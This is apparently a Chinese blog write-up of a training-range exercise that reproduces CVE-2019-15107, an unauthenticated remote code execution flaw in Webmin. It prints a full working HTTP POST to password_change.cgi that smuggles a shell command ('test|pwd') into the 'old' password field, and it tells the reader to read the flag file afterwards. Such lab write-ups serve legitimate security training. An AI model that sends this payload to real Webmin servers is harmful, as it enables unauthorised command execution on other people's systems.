当前位置:网站首页>墨者学院-Webmin未经身份验证的远程代码执行
墨者学院-Webmin未经身份验证的远程代码执行
2022-07-04 07:40:00 【Lyswbb】
首先拿到靶场后进行访问,访问后来到一个登陆页面
根据题目可知,未授权的rce,所以可以先找一下历史CVE编号(CVE-2019-15107),找到之后直接对漏洞进行一个复现,漏洞点在密码重置功能出:Webmin--Webmin confuration--Authentication
burp抓取流量包,然后修改参数,注意需要把session_login.cgi改成password_change.cgi,下面的参数直接复制就行,这个漏洞点的触发只需要传一个expired
参数执行命令即可
POST /password_change.cgi HTTP/1.1
Host: 124.70.64.48:47372
Cookie: redirect=1; testing=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: https://124.70.64.48:47372
Referer: https://124.70.64.48:47372/session_login.cgi
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user=dfgfgf&pam=&expired=2&old=test|pwd&new1=test2&new2=test2
直接查询根下的key.txt即可
边栏推荐
- 大学阶段总结
- 线性代数1.1
- 两年前美国芯片扭捏着不卖芯片,如今芯片堆积如山祈求中国帮忙
- [web security] nodejs prototype chain pollution analysis
- [Gurobi] 简单模型的建立
- BasicVSR++: Improving Video Super-Resolutionwith Enhanced Propagation and Alignment
- JVM中堆概念
- Leetcode (215) -- the kth largest element in the array
- University stage summary
- Experience installing VMware esxi 6.7 under VMware Workstation 16
猜你喜欢
神经网络入门(下)
Take you to master the formatter of visual studio code
"Sword finger offer" 2nd Edition - force button brush question
tornado项目之路由装饰器
MySQL中的文本处理函数整理,收藏速查
大学阶段总结
Thesis learning -- time series similarity query method based on extreme point characteristics
Improve the accuracy of 3D reconstruction of complex scenes | segmentation of UAV Remote Sensing Images Based on paddleseg
Unity opens the explorer from the inspector interface, selects and records the file path
Oracle stored procedures and functions
随机推荐
2022-021rts: from the second half of the year
Rhcsa the next day
Electronic Association C language level 1 34, piecewise function
[Mori city] random talk on GIS data (I)
MySQL中的文本处理函数整理,收藏速查
L1-024 the day after tomorrow (5 points)
【FreeRTOS】FreeRTOS学习笔记(7)— 手写FreeRTOS双向链表/源码分析
Zephyr 学习笔记2,Scheduling
Computer connects raspberry pie remotely through putty
MYCAT middleware installation and use
神经网络入门(下)
[C language] open the door of C
How to send mail with Jianmu Ci
[Gurobi] 简单模型的建立
This monitoring system can monitor the turnover intention and fishing all, and the product page has 404 after the dispute appears
Chain ide -- the infrastructure of the metauniverse
Thesis learning -- time series similarity query method based on extreme point characteristics
Life planning (flag)
Oracle stored procedures and functions
Routing decorator of tornado project